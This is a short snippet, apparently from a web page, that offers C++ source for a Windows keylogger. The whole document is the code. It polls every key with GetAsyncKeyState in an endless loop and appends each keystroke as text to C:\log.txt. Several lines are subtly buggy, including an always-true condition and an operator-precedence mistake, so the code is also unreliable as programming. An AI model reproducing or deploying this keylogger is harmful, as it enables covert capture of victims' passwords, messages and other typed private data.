keylogger:source code with c++

keylogger code > c++

#include <windows.h>
 #include <Winuser.h>
 #include <string>
 #include <fstream>
 
 
 std::string GetKey(int Key)
 {
 std::string KeyString = "";
 
 if (Key == 8)
 KeyString = "[delete]";
 else if (Key == 13)
 KeyString = "\n";
 else if (Key == 32)
 KeyString = " ";
 else if (Key == VK_PAUSE)
 KeyString = "[PAUSE]";
 else if (Key == VK_CAPITAL)
 KeyString = "[CAPITAL]";
 else if (Key == VK_SHIFT)
 KeyString = "[SHIFT]";
 else if (Key == VK_TAB)
 KeyString = "[TABULATOR]";
 else if (Key == VK_CONTROL)
 KeyString = "[CTRL]";
 else if (Key == VK_ESCAPE)
 KeyString = "[ESCAPE]";
 else if (Key == VK_END)
 KeyString = "[END]";
 else if (Key == VK_HOME)
 KeyString = "[HOME]";
 else if (Key == VK_LEFT)
 KeyString = "[left]";
 else if (Key == VK_RIGHT)
 KeyString = "[right]";
 else if (Key == VK_UP)
 KeyString = "[UP]";
 else if (Key == VK_DOWN)
 KeyString = "[DOWN]";
 else if (Key == VK_SNAPSHOT)
 KeyString = "[SNAPSHOT]";
 else if (Key == VK_NUMLOCK)
 KeyString = "[NUMLOCK]";
 else if (Key == 190 || Key == 110)
 KeyString = ".";
 else if (Key >=96 && Key <= 105)
 KeyString = Key-48;
 else if (Key > 47 && Key < 60)
 KeyString = Key;
 if (Key != VK_LBUTTON || Key != VK_RBUTTON)
 {
 if (Key > 64 && Key < 91)
 {
 if (GetKeyState(VK_CAPITAL))
 KeyString = Key;
 else
 {
 Key = Key + 32;
 KeyString = Key;
 }
 }
 }
 
 return KeyString;
 }
 
 int main()
 {
 std::string Filename = "C:\\log.txt";
 std::string TempString = "";
 std::fstream FStream;
 FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
 
 while(true)
 {
 
 Sleep(5);
 
 for(int i = 8; i < 191; i++)
 {
 if(GetAsyncKeyState(i)&1 ==1)
 {
 TempString = GetKey (i);
 
 FStream.write(TempString.c_str(), TempString.size());
 FStream.close();
 FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
 }
 }
 }
 }